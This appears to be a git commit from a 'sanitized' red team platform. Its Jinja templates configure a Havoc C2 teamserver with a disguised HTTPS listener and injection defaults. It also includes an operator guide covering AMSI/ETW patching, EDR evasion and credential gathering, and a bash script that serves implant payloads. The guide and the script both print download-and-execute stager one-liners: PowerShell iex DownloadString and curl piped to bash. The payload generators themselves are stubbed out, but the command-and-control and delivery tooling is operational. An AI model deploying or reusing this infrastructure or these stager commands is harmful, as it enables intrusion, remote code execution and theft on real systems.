Initial public portfolio release

Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
2026-06-23 16:12:14 -04:00
commit 98103466d8
239 changed files with 40012 additions and 0 deletions
@@ -0,0 +1,10 @@
+{# OMITTED — evasive beacon generation template #}
+{#
+   Jinja2 template rendered at deploy time. Produces a shell script that compiles
+   Havoc Demon shellcode with per-engagement randomized identifiers, wraps the
+   shellcode in a chosen injection template (process hollowing, APC injection,
+   early-bird), and stages the result to the payload server.
+
+   Omitted from public release. Present in operational deployments.
+#}
+echo "[!] Evasive beacon generator not included in public release."
@@ -0,0 +1,9 @@
+{# OMITTED — Havoc payload generation template #}
+{#
+   Renders a script that produces EXE, DLL, and raw shellcode variants from a
+   compiled Demon implant. Handles signing stubs, UPX packing decisions, and
+   drops artifacts to the payload server staging directory.
+
+   Omitted from public release. Present in operational deployments.
+#}
+echo "[!] Havoc payload generator not included in public release."
@@ -0,0 +1,79 @@
+Teamserver {
+    Host = "0.0.0.0"
+    Port = {{ havoc_teamserver_port | default(40056) }}
+    
+    Build {
+        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
+        Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc"
+        Nasm = "/usr/bin/nasm"
+    }
+}
+
+Operators {
+    user "{{ havoc_admin_user | default('admin') }}" {
+        Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}"
+    }
+    {% if havoc_operators is defined %}
+    {% for operator in havoc_operators %}
+    user "{{ operator.name }}" {
+        Password = "{{ operator.password }}"
+    }
+    {% endfor %}
+    {% endif %}
+}
+
+Listeners {
+    Http {
+        Name = "https"
+        Hosts = [
+            "{{ redirector_subdomain }}.{{ domain }}"
+        ]
+        HostBind = "0.0.0.0"
+        HostRotation = "round-robin"
+        PortBind = {{ havoc_https_port | default(9443) }}
+        PortConn = {{ havoc_https_port | default(9443) }}
+        UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
+        Headers = [
+            "Accept: */*",
+            "Accept-Language: en-US,en;q=0.9"
+        ]
+        Uris = [
+            "/api/v2",
+            "/content",
+            "/static/css",
+            "/wp-content/plugins"
+        ]
+        Response {
+            Headers = [
+                "Content-Type: application/json",
+                "Cache-Control: no-store, private",
+                "X-Content-Type-Options: nosniff"
+            ]
+        }
+        Secure = true
+        
+        Cert {
+            Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem"
+            Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
+        }
+    }
+}
+
+Demon {
+    Sleep = {{ havoc_sleep | default(5) }}
+    Jitter = {{ havoc_jitter | default(30) }}
+    
+    Injection {
+        {% if havoc_spawn64 is defined %}
+        Spawn64 = "{{ havoc_spawn64 }}"
+        {% else %}
+        Spawn64 = "C:\\Windows\\System32\\dllhost.exe"
+        {% endif %}
+        
+        {% if havoc_spawn32 is defined %}
+        Spawn32 = "{{ havoc_spawn32 }}"
+        {% else %}
+        Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe"
+        {% endif %}
+    }
+}
@@ -0,0 +1,112 @@
+HAVOC C2 OPERATIONS GUIDE
+==========================
+
+This guide provides information on using the Havoc C2 framework (dev branch) 
+deployed on your infrastructure.
+
+SERVER INFORMATION
+-----------------
+C2 Server IP: {{ c2_ip }}
+Redirector Domain: {{ redirector_domain }}
+Teamserver Port: {{ havoc_teamserver_port | default(40056) }}
+HTTP Listener Port: {{ havoc_http_port | default(8080) }}
+HTTPS Listener Port: {{ havoc_https_port | default(443) }}
+Admin User: {{ havoc_admin_user | default('admin') }}
+Admin Password: Stored in /root/Tools/Havoc/data/profiles/default.yaotl
+
+CONNECTING TO THE TEAMSERVER
+---------------------------
+From your local machine:
+
+1. Make sure Havoc client (dev branch) is installed:
+   $ git clone -b dev https://github.com/HavocFramework/Havoc.git
+   $ cd Havoc/Client
+   $ mkdir build && cd build
+   $ cmake -GNinja ..
+   $ ninja
+
+2. Connect to the Teamserver via GUI:
+   - Host: {{ c2_ip }}
+   - Port: {{ havoc_teamserver_port | default(40056) }}
+   - User: {{ havoc_admin_user | default('admin') }}
+   - Password: See /root/Tools/Havoc/data/profiles/default.yaotl
+
+3. CLI Connection:
+   $ ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password]
+
+LISTENERS
+--------
+Two default listeners are configured:
+- HTTP on port {{ havoc_http_port | default(8080) }}
+- HTTPS on port {{ havoc_https_port | default(443) }} (through the redirector)
+
+To view and manage listeners: Attack → Listeners in the Havoc client.
+
+GENERATING PAYLOADS
+-----------------
+Pre-generated payloads are available in /root/Tools/Havoc/payloads/
+
+To generate new payloads:
+1. Connect to the Teamserver
+2. Navigate to Attack → Payload
+3. Select the listener (HTTPS recommended)
+4. Choose architecture, format, and evasion options
+5. For enhanced evasion: Enable indirect syscalls, stack spoofing, and sleep mask
+
+PAYLOAD DELIVERY
+--------------
+PowerShell one-liner:
+powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://{{ redirector_domain }}/windows_stager.ps1')"
+
+Linux one-liner:
+curl -s https://{{ redirector_domain }}/linux_stager.sh | bash
+
+OPERATIONAL SECURITY
+------------------
+- All connections are routed through the redirector
+- Payload customization includes:
+  * Sleep time: {{ havoc_sleep | default(5) }} seconds with {{ havoc_jitter | default(30) }}% jitter
+  * EDR unhooking techniques
+  * AMSI/ETW patching
+  * Indirect syscalls
+  * Sleep masking with technique: {{ havoc_sleep_mask_technique | default(0) }}
+
+ADVANCED FEATURES (DEV BRANCH)
+----------------------------
+- Enhanced memory scanner evasion
+- PPID spoofing capabilities
+- Reflective DLL loading improvements
+- EDR hook detection and avoidance
+- Process token manipulation
+- Registry persistence options
+
+POST-EXPLOITATION
+---------------
+For post-exploitation, Havoc offers:
+
+1. BOF (Beacon Object Files) support
+2. Integrated command & control modules
+3. File system operations
+4. Process injection & manipulation
+5. Credential gathering capabilities
+
+SERVER MANAGEMENT
+---------------
+- Havoc Teamserver service: systemctl status havoc
+- Service configuration: /etc/systemd/system/havoc.service
+- Configuration profiles: /root/Tools/Havoc/data/profiles/
+
+TROUBLESHOOTING
+--------------
+1. Agent connection issues:
+   - Verify DNS for {{ redirector_domain }} points to your redirector
+   - Check nginx configuration on the redirector
+   - Confirm ports {{ havoc_http_port | default(8080) }} and {{ havoc_https_port | default(443) }} are open
+
+2. Teamserver issues:
+   - Check service: systemctl status havoc
+   - View logs: journalctl -u havoc
+   - Restart if needed: systemctl restart havoc
+
+3. Use Havoc client CLI debugging:
+   ./havoc client --address {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }} --username {{ havoc_admin_user | default('admin') }} --password [password] --debug
@@ -0,0 +1,135 @@
+#!/bin/bash
+# Script to serve Havoc C2 payloads generated by generate_havoc_payloads.sh
+
+# Configuration
+PAYLOADS_DIR="/root/Tools/Havoc/payloads"
+C2_HOST="{{ ansible_host }}"
+# Use templated variable with fallback - allow override from config
+LISTEN_PORT="{{ havoc_payload_port | default(8443) }}"
+
+# Check if manifest file exists (created by generate_havoc_payloads.sh)
+if [ -f "$PAYLOADS_DIR/manifest.json" ]; then
+    echo "[+] Found payload manifest file - using Havoc payloads generated previously"
+    # Extract payload paths from manifest
+    WIN_EXE=$(jq -r '.windows_exe' "$PAYLOADS_DIR/manifest.json")
+    WIN_DLL=$(jq -r '.windows_dll' "$PAYLOADS_DIR/manifest.json")
+    LINUX_BIN=$(jq -r '.linux_binary' "$PAYLOADS_DIR/manifest.json")
+    
+    # Print payload info
+    echo "[+] Using these Havoc payloads:"
+    echo "    - Windows EXE: $WIN_EXE"
+    echo "    - Windows DLL: $WIN_DLL"
+    echo "    - Linux Binary: $LINUX_BIN"
+else
+    echo "[!] No manifest file found. Please run generate_havoc_payloads.sh first."
+    echo "[!] Will search for payloads in $PAYLOADS_DIR..."
+    
+    # Try to find payloads directly
+    WIN_EXE=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.exe" | head -n 1)
+    WIN_DLL=$(find "$PAYLOADS_DIR/windows" -maxdepth 1 -name "*.dll" | head -n 1)
+    LINUX_BIN=$(find "$PAYLOADS_DIR/linux" -maxdepth 1 -type f -executable -not -path "*/\.*" | head -n 1)
+    
+    if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
+        echo "[!] No Havoc payloads found. Please run generate_havoc_payloads.sh first."
+        exit 1
+    fi
+    
+    # Extract just the filenames
+    WIN_EXE=$(basename "$WIN_EXE")
+    WIN_DLL=$(basename "$WIN_DLL")
+    LINUX_BIN=$(basename "$LINUX_BIN")
+fi
+
+# Create temporary directory for web server
+TEMP_DIR=$(mktemp -d)
+mkdir -p $TEMP_DIR/content/windows
+mkdir -p $TEMP_DIR/content/linux
+mkdir -p $TEMP_DIR/scripts
+
+# Copy payloads to web directory
+if [ -n "$WIN_EXE" ]; then
+    cp "$PAYLOADS_DIR/windows/$WIN_EXE" $TEMP_DIR/content/windows/
+    echo "[+] Serving Windows EXE: $WIN_EXE"
+fi
+
+if [ -n "$WIN_DLL" ]; then
+    cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
+    echo "[+] Serving Windows DLL: $WIN_DLL"
+fi
+
+if [ -n "$LINUX_BIN" ]; then
+    cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
+    echo "[+] Serving Linux Binary: $LINUX_BIN"
+fi
+
+# Copy stagers if they exist
+if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
+    cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
+    echo "[+] Serving Windows PowerShell stager"
+fi
+
+if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
+    cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
+    echo "[+] Serving Linux bash stager"
+fi
+
+# Create helpful index page
+cat > $TEMP_DIR/index.html << EOL
+<!DOCTYPE html>
+<html>
+<head>
+    <title>Havoc C2 Payload Downloads</title>
+    <style>
+        body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
+        h1 { color: #333; }
+        .section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
+        .warning { color: #a00; font-weight: bold; }
+        code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
+    </style>
+</head>
+<body>
+    <h1>Havoc C2 Payload Downloads</h1>
+    <div class="section">
+        <h2>Available Payloads</h2>
+        <ul>
+            <li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
+            <li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
+            <li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
+        </ul>
+    </div>
+    <div class="section">
+        <h2>Auto-Download Scripts</h2>
+        <ul>
+            <li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
+            <li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
+        </ul>
+    </div>
+    <div class="section">
+        <h2>Quick Commands</h2>
+        <p>Windows PowerShell:</p>
+        <code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
+        <p>Linux Bash:</p>
+        <code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
+    </div>
+</body>
+</html>
+EOL
+
+# Start Python HTTP server in background
+cd $TEMP_DIR
+nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
+SERVER_PID=$!
+echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
+
+# Print useful information for the operator
+echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
+echo "[+] Available payloads:"
+echo "    - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
+echo "    - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
+echo ""
+echo "[+] Quick PowerShell download command:"
+echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
+echo ""
+echo "[+] Quick Linux download command:"
+echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"